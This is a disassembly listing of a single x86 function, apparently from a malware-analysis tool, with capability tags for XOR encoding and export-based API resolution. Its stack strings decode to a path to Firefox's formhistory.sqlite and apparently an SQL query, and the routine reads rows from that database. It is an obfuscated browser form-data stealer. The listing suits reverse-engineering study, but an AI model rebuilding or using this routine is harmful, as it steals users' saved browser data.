Function at 0x41508f
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x90], ecx
call fcn.00419db5
mov esi, eax
test esi, esi
je 0x4154ad
xor ebx, ebx
mov dword [esp + 0x14], 0xd9f6e9a0
mov dword [esp + 0x18], 0xe8f7eae3
mov ecx, ebx
mov dword [esp + 0x1c], 0xf1f6eced
mov dword [esp + 0x20], 0xabfcf7ea
mov dword [esp + 0x24], 0xece9f4f6
mov word [esp + 0x28], 0xe0f1
mov al, byte [esp + ecx + 0x14]
xor al, 0x85
movzx eax, al
mov word [esp + ecx*2 + 0x108], ax
inc ecx
cmp ecx, 0x16
jl 0x4150e4
xor eax, eax
mov word [esp + 0x134], ax
lea eax, [esp + 0x108]
push edi
push eax
call fcn.0041b96a
mov edi, eax
mov dword [esp + 0x88], edi
pop ecx
pop ecx
test edi, edi
je 0x4154ad
mov ecx, edi
call fcn.0041b9c4
mov ebp, eax
test ebp, ebp
je 0x4154a6
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov dword [esp + 0x94], eax
test eax, eax
je 0x41548f
push ebx
push 1
lea ecx, [esp + 0x8c]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x415477
mov dword [esp + 0x14], 0xaca6a18e
mov ecx, ebx
mov dword [esp + 0x18], 0xabadafe8
mov dword [esp + 0x1c], 0xa9e8a7a3
mov dword [esp + 0x20], 0xaea7bcbd
mov dword [esp + 0x24], 0xbba4a4a1
mov dword [esp + 0x28], 0xe8aaace8
mov dword [esp + 0x2c], 0xc2bba4ed
mov al, byte [esp + ecx + 0x14]
xor al, 0xc8
mov byte [esp + ecx + 0xb8], al
inc ecx
cmp ecx, 0x1c
jl 0x4151a3
mov byte [esp + 0xd4], bl
mov ecx, ebx
mov dword [esp + 0x48], 0x7000e
mov dword [esp + 0x4c], 0x21db0ffe
mov dword [esp + 0x50], 0x1f272024
mov dword [esp + 0x54], 0x20281c29
mov dword [esp + 0x58], 0x1c31dbe7
mov dword [esp + 0x5c], 0xdb203027
mov dword [esp + 0x60], 0x80a0d01
mov dword [esp + 0x64], 0x352a28db
mov dword [esp + 0x68], 0x2d2a211a
mov dword [esp + 0x6c], 0x2e242328
mov dword [esp + 0x70], 0x342d2a2f
mov al, byte [esp + ecx + 0x48]
add al, 0x45
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 0x2c
jl 0x415217
lea eax, [esp + 0xb8]
mov byte [esp + 0x104], bl
push edi
push eax
call fcn.00412606
push ebx
lea eax, [esp + 0x3c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xec]
push eax
push dword [esp + 0x9c]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x41546f
push dword [esp + 0x30]
lea edi, [esp + 0x78]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4153d5
mov dword [esp + 0x34], 0x474f4330
mov word [esp + 0x38], 0x21c
mov dword [esp + 0x3c], 0xbaaf6366
mov dword [esp + 0x40], 0x93becec5
mov byte [esp + 0x44], 0x79
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
add al, 0x1e
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 6
jl 0x4152a2
mov byte [esp + 0x8e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x3c]
sub al, 0x59
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, 9
jl 0x4152be
mov byte [esp + 0xa1], bl
mov ecx, ebx
mov dword [esp + 0x14], 0xfbfbc8cb
mov dword [esp + 0x18], 0xfbfbfbfb
mov dword [esp + 0x1c], 0xfbfbfbfb
mov dword [esp + 0x20], 0xfbfbfbfb
mov word [esp + 0x24], 0xcbfb
mov byte [esp + 0x26], 0xc8
mov al, byte [esp + ecx + 0x14]
add al, 0x42
mov byte [esp + ecx + 0xa4], al
inc ecx
cmp ecx, 0x13
jl 0x415306
lea eax, [esp + 0x88]
mov byte [esp + 0xb7], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x78]
call fcn.0041baad
pop ecx
push ebx
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x98]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x78]
call fcn.0041baad
pop ecx
push 1
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0xa4]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xa8]
lea ecx, [esp + 0x78]
call fcn.0041baad
pop ecx
push dword [esp + 0x30]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x4152a0
cmp dword [esp + 0x74], ebx
je 0x415468
mov dword [esp + 0x14], 0xf5eeefdb
mov dword [esp + 0x18], 0xf6f6f3fc
mov dword [esp + 0x1c], 0xf6bfb5e9
mov dword [esp + 0x20], 0xf6bfc5e9
mov dword [esp + 0x24], 0xe2eeb4e9
mov byte [esp + 0x28], 0xee
mov al, byte [esp + ebx + 0x14]
xor al, 0x9a
movzx eax, al
mov word [esp + ebx*2 + 0x48], ax
inc ebx
cmp ebx, 0x15
jl 0x41540c
push dword [esp + 0x13c]
xor eax, eax
push dword [esp + 0x94]
mov word [esp + 0x7a], ax
lea eax, [esp + 0x50]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41545e
mov edx, dword [esp + 0x7c]
mov ecx, dword [esp + 0x74]
push edi
call fcn.00418de4
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x74]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x80]
push dword [esp + 0x30]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x84]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x94]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret